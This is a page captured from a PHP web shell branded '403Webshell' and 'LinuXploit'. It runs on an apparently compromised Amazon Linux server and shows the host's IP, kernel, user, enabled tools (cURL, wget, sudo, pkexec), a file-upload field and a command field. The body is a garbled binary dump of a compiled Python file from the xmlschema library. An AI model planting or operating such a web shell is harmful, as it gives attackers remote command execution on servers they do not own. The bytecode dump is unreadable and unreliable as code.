403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/xmlschema/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/xmlschema/__pycache__/cli.cpython-39.opt-1.pyc
a

�=�c�)�@sdZddlZddlZddlZddlZddlZddlmZddlZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZej�ejd�Zejejejejejejd�Zdd	�Zd
d�Zdd
�Zdd�Z dd�Z!dd�Z"dd�Z#e$dk�rej%dk�rej&�'d�e�(d�e#�dS)zCommand Line Interface�N)�URLError)�	XMLSchema�XMLSchema11�iter_errors�to_json�	from_json)�XMLSchemaValueError)�etree_tostring)Z	UnorderedZParkerZ
BadgerFishZAbderaZJsonMLZColumnarcCs|dvrd|}t�|��|S)N)�1.0z1.1z%r is not an XSD version.��argparseZArgumentTypeError��value�msg�r�1/usr/lib/python3.9/site-packages/xmlschema/cli.py�xsd_version_number#s
rcCs|dvrd|}t�|��|S)N)�alwaysZremote�neverz%r is not a valid value.rr
rrr�defuse_data*s
rcCs4|dkrtjS|dkrtjS|dkr*tjStjSdS)Nr��)�loggingZERRORZWARNING�INFO�DEBUG)�	verbosityrrr�get_loglevel1srcCs@|durdSz
t|WSty:td�tt����Yn0dS)Nz--converter must be in {!r})�CONVERTERS_MAP�KeyError�
ValueError�
format_map�list)�namerrr�
get_converter<s
r#c
Cs�tjtddd�}d|_|jddddd	d
�|jdtdd
d�|jdtddd�|jdddtdddd�|jdtdd�tt	��d�|jdddd d!�|jd"d#td$d%d�|jd&d'ddd(d!�|jd)d*d+d,d-�|�
�}t|j�}|j
dkr�tnt}t|j�}|jdu�r||j|j|d.�}nd}t�|j�}|���s@|��n|���s\td/�t|����d}ttj|j�D�]B}|�|j��d0�}	|	���r�|j �s�t!d1�t|	����qnt"t|	�d2���}
z t#t|�|
||||j$d3d4�}Wnft%j&t'f�yD}zF|d57}t!d6�t|�t|���WYd}~Wd��qnWYd}~nTd}~00|�sft!d7�t|�t|	���n*|t(|�7}t!d8�t|�t|	�t(|���Wd�n1�s�0Y�qnt)�*|�dS)9NTz"decode a set of XML files to JSON.��progZadd_help�description�J%(prog)s [OPTION]... [FILE]...
Try '%(prog)s --help' for more information.�-vr�countr�increase output verbosity.��dest�action�default�help�--schema�PATH�path or URL to an XSD schema.��type�metavarr/�	--versionr
�-XSD schema validator to use (default is 1.0).�r4r.r/�-L�	locationsr�append�URI/URL�schema location hint overrides.�r,�nargsr4r-r5r/�--converter�NAME�iuse a different XML to JSON convention instead of the default converter. Option value can be one of {!r}.�--lazy�
store_trueFz4use lazy decoding mode (slower but use less memory).�r-r.r/�-o�--output�.�=where to write the encoded XML files, current dir by default.�-f�--forcez!do not prompt before overwriting.�files�[XML_FILE ...]�+z XML files to be decoded to JSON.�r5r?r/�r:�loglevel�{!r} is not a directoryz.json�%skip {}: the destination file exists!�w�lax)Zxml_document�fp�schema�cls�	converter�lazy�
validationr�error with {}: {}�{} converted to {}�!{} converted to {} with {} errors)+r�ArgumentParser�PROGRAM_NAME�usage�add_argument�strr�format�tupler�
parse_argsrr�versionrrr#rYrWr:�pathlib�Path�output�exists�mkdir�is_dirr�maprL�joinpathr"�with_suffix�force�print�openrrZ�	xmlschema�XMLSchemaExceptionr�len�sys�exit)
�parser�argsrQ�schema_classrYrW�	base_path�
tot_errors�xml_path�	json_pathrV�errors�errrrr�xml2jsonFs���
�
��
��
���
�




�
	0�*r�cCs�tjtddd�}d|_|jddddd	d
�|jdtdd
d�|jdtddd�|jdddtdddd�|jdtdd�tt	��d�|jddtdd d�|jd!d"d#d$d%d&�|jd'd(d)d*d+�|�
�}t|j�}|j
dkr�tnt}t|j�}||j|j|d,�}t�|j�}|���s|��n|���s8td-�t|����d}ttj|j�D�]v}|�|j��d.�}	|	���r�|j �s�t!d/�t|	����qJt"t|����}
zt#|
||d0d1�\}}Wnft$j%t&f�y}
zF|d27}t!d3�t|	�t|
���WYd}
~
Wd��qJWYd}
~
nTd}
~
00|�s8t!d4�t|�t|	���n*|t'|�7}t!d5�t|�t|	�t'|���Wd�n1�sx0Yt"t|	�d6��}
|
�(t)|��Wd�n1�s�0Y�qJt*�+|�dS)7NTz"encode a set of JSON files to XML.r$r'r(rr)rr*r+r0r1r2r3r6r
r7r8r9r:rr;r<r=r>r@rArBrFrGrHrIrJrKrDFz do not prompt before overwritingrErLz[JSON_FILE ...]rNz JSON files to be encoded to XML.rOrPrRz.xmlrSrU)�sourcerWrYr[rr\r]r^rT),rr_r`rarbrcrrdrerrfrrrgrrr#rYrWr:rhrirjrkrlrmrrnrLror"rprqrrrsrrtrurrv�writer	rwrx)ryrzrQr{rYrWr|r}rr~rV�rootr�r�rrr�json2xml�s���
�
��
����
�




�0�&2r�cCsHtjtddd�}d|_|jddddd	d
�|jdtdd
d�|jdtddd�|jdddtdddd�|jddddd�|jdd d!d"d#�|��}d}|jD]�}zt	t
||j|jd$��}WnLt
jtf�y}z,|d%7}tt|��WYd}~q�WYd}~q�d}~00|�std&�|��q�|t|�7}td'�|��q�t�|�dS)(NTzvalidate a set of XML files.r$r'r(rr)rr*r+r0r1r2r3r6r
r7r8r9r:rr;r<r=r>rCrDFz6use lazy validation mode (slower but use less memory).rErLrMrNzXML files to be validated.rO)rWrZrz{} is validz{} is not valid)rr_r`rarbrcrrfrLr!rrWrZrtrurrrrdrvrwrx)ryrzr}�filepathr�r�rrr�validate�sH��
�
��
�
�
"r��__main__)��rz1You need python 3.5 or later to run this program
r))�__doc__rw�osrrrhZurllib.errorrrtrrrrrZxmlschema.exceptionsrZxmlschema.etreer	�path�basename�argvr`ZUnorderedConverterZParkerConverterZBadgerFishConverterZAbderaConverterZJsonMLConverterZColumnarConverterrrrrr#r�r�r��__name__�version_info�stderrr�rxrrrr�<module>	s<�

MH&



Youez - 2016 - github.com/yon3zu
LinuXploit